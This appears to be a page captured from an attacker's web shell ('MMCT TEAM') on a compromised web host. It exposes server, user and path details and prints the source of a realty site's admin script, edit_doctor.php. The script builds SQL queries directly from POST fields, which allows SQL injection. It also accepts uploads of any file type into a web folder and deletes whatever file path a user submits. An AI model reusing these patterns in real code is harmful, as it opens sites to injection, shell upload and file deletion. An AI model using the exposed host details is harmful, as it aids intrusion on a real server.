MMCT TEAM
Server IP : 111.118.215.189  /  Your IP : 3.142.194.183
Web Server : Apache
System : Linux md-in-83.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : a1673wkz ( 2475)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home1/a1673wkz/propstonerealty.com/Admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home1/a1673wkz/propstonerealty.com/Admin/edit_doctor.php
<?php 

include("config.php");
//print_r($_POST);
if(!empty($_POST['doctor_id']))
{
	
	$dr_name=$_POST['dr_name'];
	$id=$_POST['doctor_id'];
	$qly=$_POST['qly'];
	$old_image=$_POST['old_image'];
	

	$sel=$obj->num("SELECT * FROM dr_list WHERE id='$id'");
	//echo $sel;
	if($sel!='0')
	{
		if(!empty($_FILES['image']['name']))
		{
			if(!empty($old_image))
			{
				unlink($old_image);
			}
			$image=$_FILES['image']['name'];
			$temp=explode(".", $_FILES['image']['name']);
			$newfile=rand(00000000,99999999).'.'.end($temp);
			$folder="images/Doctor/".$newfile;
			if(move_uploaded_file($_FILES['image']['tmp_name'], $folder))
			{
				$query=$obj->query("UPDATE dr_list SET dr_name='$dr_name',qly='$qly',image='$folder' WHERE id='$id'");
				//echo $query;
				if($query)
				{
					echo '<a href="#" class="badge badge-success">Success</a>';
				}
				else
				{
					echo '<a href="#" class="badge badge-success">Faild</a>';
			
				}
			}
			else
			{
				echo '<a href="#" class="badge badge-warning">Image Uploade Faild</a>';
			}
		}
		else
		{
			$query=$obj->query("UPDATE dr_list SET dr_name='$dr_name',qly='$qly' WHERE id='$id'");
			if($query)
				{
					echo '<a href="#" class="badge badge-success">Success</a>';
				}
				else
				{
					echo '<a href="#" class="badge badge-success">Faild</a>';
			
				}
		}
	
  }
  else
  	{
  		echo '<a href="#" class="badge badge-warning">Not Exist</a>';
  	}		
}
else
{
	echo '<a href="#" class="badge badge-warning">Empty Field</a>';
}
?>

MMCT - 2023